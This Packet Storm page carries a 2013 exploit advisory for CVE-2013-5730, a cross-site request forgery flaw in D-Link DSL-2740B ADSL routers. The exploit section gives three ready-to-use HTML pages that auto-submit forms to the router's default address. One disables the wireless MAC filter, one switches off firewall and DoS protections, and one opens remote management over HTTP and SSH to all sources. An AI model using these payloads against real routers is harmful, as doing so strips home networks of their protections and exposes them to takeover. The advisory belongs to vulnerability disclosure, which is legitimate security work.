exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DSL-2740B Cross Site Request Forgery

D-Link DSL-2740B Cross Site Request Forgery
Posted Sep 12, 2013
Authored by Ivano Binetti

D-Link DSL-2740B ADSL routers suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2013-5730
SHA-256 | fe2e9431049b9e6dd5b4acacc9d198f7e0af727e257da7fe42e487892de29a16

D-Link DSL-2740B Cross Site Request Forgery

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2740B (ADSL Router) CSRF Vulnerability
# Date : 09-08-2013
# Author : Ivano Binetti (http://ivanobinetti.com)
# Vendor site : http://www.d-link.com
# Version : DSL-2740B
# Tested on : Firmware Version: EU_1.00 (Other release could be affected)
# Original Advisory: http://www.webapp-security.com/2013/09/d-link-dsl-2740b-multiple-csrf-vulnerabilities
# CVE : CVE-2013-5730
+---------------------------------------------------------------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit
3.1 Disable/Enable Wireless MAc Address Filter
3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
+---------------------------------------------------------------------------------------------------------------------------------+


1) Introduction

D-Link DSL-2740B is an ADSL Router using, also, a web management interface in order to set and change device parameters.


2) Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router
parameters and to perform many modifications to the router's parameters. The default ip adress of this adsl router, used for
management purpose, is 192.168.1.1.
In my Advisory I'll describe only how to carry out the following changes:
- Disable/Enable Wireless MAc Address Filter
- Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
- Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -).
Many other changes can be performed.

3) Exploit
3.1 Disable/Enable Wireless MAc Address Filter
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/wlmacflt.cmd?action=wlFltMode&wlFltMacMode=disabled">
</body>
</html>

3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
<html>
<body onload="javascript:document.forms[0].submit()">
<H2></H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/scdmz.cmd?&fwFlag=521472&dosenbl=0">
</body>
</html>

3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2></H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/scsrvcntr.cmd?action=save&rmtmode=1&rmtport=80&rmtaction=allowall&
ftp=0&http=2&icmp=2&snmp=2&tftp=0&ssh=1&telnet=0">
</body>
</html>
+----------------------------------------------------------------------------------------------------------------------------------+


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close